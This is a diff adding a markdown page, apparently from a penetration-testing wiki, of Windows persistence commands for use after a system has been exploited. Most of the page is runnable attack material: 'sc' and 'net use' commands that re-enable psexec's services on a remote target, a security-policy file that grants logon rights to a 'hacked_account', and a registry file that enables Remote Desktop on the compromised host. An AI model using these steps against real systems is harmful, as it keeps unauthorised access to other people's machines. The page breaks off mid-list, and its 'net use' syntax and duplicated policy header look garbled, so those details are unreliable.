|
| 1 | +<!-- Code for collapse and expand --> |
| 2 | +<script type="text/javascript"> |
| 3 | +$(document).ready(function() { |
| 4 | +$('div.view').hide(); |
| 5 | +$('div.slide').click(function() { |
| 6 | +$(this).next('div.view').slideToggle('fast'); |
| 7 | +return false; |
| 8 | +}); |
| 9 | +}); |
| 10 | +</script> |
| 11 | + |
| 12 | +# Windows General Persistence Commands |
| 13 | + |
| 14 | +Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. |
| 15 | + |
| 16 | + |
| 17 | +### Enable `psexec` |
| 18 | + * The [`psexec` tool](http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx) executes processes on other systems over a network. Most systems now disable the "clipbook" which `psexec` required. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 50)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can re-enable the sub-systems needed to use `psexec` using the `sc` commands below. |
| 19 | + |
| 20 | + `` c:\> net use \\target\ipc$ username /user:password |
| 21 | + c:\> sc \\target config netdde start= auto |
| 22 | + c:\> sc \\target config netddedsdm start= auto |
| 23 | + c:\> sc \\target config clipsrv start= auto |
| 24 | + c:\> sc \\target start netdde |
| 25 | + c:\> sc \\target start netddedsdm |
| 26 | + c:\> sc \\target start clipsrv |
| 27 | + `` |
| 28 | + |
| 29 | +### Enable Remote Desktop |
| 30 | + * Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below. |
| 31 | + |
| 32 | + 1. Create a file named `fix_ts_policy.ini` containing the contents below. Change the *"hacked_account"* value to the account you have compromised on the remote system. |
| 33 | + |
| 34 | + <pre> |
| 35 | + [Unicode] |
| 36 | + Unicode=yes |
| 37 | + [Version] |
| 38 | + signature="$CHICAGO$" |
| 39 | + Revision=1 |
| 40 | + [Privilege Rights] [Privilege Rights] |
| 41 | + seremoteinteractivelogonright = hacked_account |
| 42 | + seinteractivelogonright = hacked_account |
| 43 | + sedenyinteractivelogonright = |
| 44 | + sedenyremoteinteractivelogonright = |
| 45 | + sedenynetworklogonright = |
| 46 | + </pre> |
| 47 | + |
| 48 | + 1. Create another file named `enable_ts.reg` containing the contents below. |
| 49 | + |
| 50 | + <pre> |
| 51 | + Windows Registry Editor Version 5.00 |
| 52 | + [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] |
| 53 | + "fDenyTSConnections"=dword:00000000 |
| 54 | + "TSEnabled"=dword:00000001 |
| 55 | + "TSUserEnabled"=dword:00000000 |
| 56 | + </pre> |
| 57 | + |
| 58 | + 1. |
0 commit comments